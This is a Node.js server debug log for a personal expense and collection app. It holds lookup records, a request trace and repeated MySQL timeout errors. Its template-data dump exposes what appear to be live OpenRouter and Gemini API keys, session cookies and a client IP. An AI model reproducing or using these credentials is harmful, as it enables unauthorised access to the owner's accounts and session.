    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2025-12-29T17:20:50.832Z server-connect:router Serving templateView /
2025-12-29T17:20:50.833Z server-connect:app Executing action step identify
2025-12-29T17:20:50.833Z server-connect:app options: { provider: 'security' }
2025-12-29T17:20:50.833Z server-connect:output identity: 1
2025-12-29T17:20:50.833Z server-connect:app Executing action step restrict
2025-12-29T17:20:50.833Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-29T17:20:50.835Z server-connect:output restrict: undefined
2025-12-29T17:20:50.835Z server-connect:app Executing action step restrict
2025-12-29T17:20:50.835Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-29T17:20:50.835Z server-connect:output restrict: undefined
2025-12-29T17:20:50.835Z server-connect:router Render template layouts/main
2025-12-29T17:20:50.836Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Acl6ztp0XEhU1Ir0mG%2FAGBA%3D%3D.1oUVEiol6F5D7WEl6prOr9iSi13pnxtp5zIlKPpUm1qmQaHh1YSk47zgWOvnwClQ7%2B8GnZEBssUBLHv0x4FNlk5HpHf1DoTtXhOxWJqn0n4Jkvn%2F%2Ftm6gChj4lHaskmenmUR8UXoRZLyZIkUHfs7Pxl9DorLqheEaoHvG9u0M40%3D.UQBb4HYVnQZUlY9mjWeqyH7Hd8GPe4zdg9G1H%2FP73J4; your_r_git.sid=s%3A4SzmqjW2zn0yZ9bAAdyb6m6dNp7NxYfC.UQAZ4bYWkCBilyvaJ9gXqq0r6S42HlWTxkwLJzUZHhs',
    'x-forwarded-for': '49.43.180.93',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-30T15:37:27.096Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.93',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Acl6ztp0XEhU1Ir0mG%2FAGBA%3D%3D.1oUVEiol6F5D7WEl6prOr9iSi13pnxtp5zIlKPpUm1qmQaHh1YSk47zgWOvnwClQ7%2B8GnZEBssUBLHv0x4FNlk5HpHf1DoTtXhOxWJqn0n4Jkvn%2F%2Ftm6gChj4lHaskmenmUR8UXoRZLyZIkUHfs7Pxl9DorLqheEaoHvG9u0M40%3D.UQBb4HYVnQZUlY9mjWeqyH7Hd8GPe4zdg9G1H%2FP73J4; your_r_git.sid=s%3A4SzmqjW2zn0yZ9bAAdyb6m6dNp7NxYfC.UQAZ4bYWkCBilyvaJ9gXqq0r6S42HlWTxkwLJzUZHhs',
    'HTTP_X_FORWARDED-FOR': '49.43.180.93',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 17:27:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 17:27:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 18:16:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 18:16:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 18:27:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 18:27:12' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 18:51:10' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 18:51:10' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 21:59:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 21:59:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 22:29:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 22:29:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 23:33:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 23:33:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 00:45:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 00:45:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 00:51:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 00:51:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 00:59:10' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 00:59:10' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 02:47:10' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 02:47:10' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 03:08:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 03:08:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 03:19:10' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 03:19:10' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 03:52:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
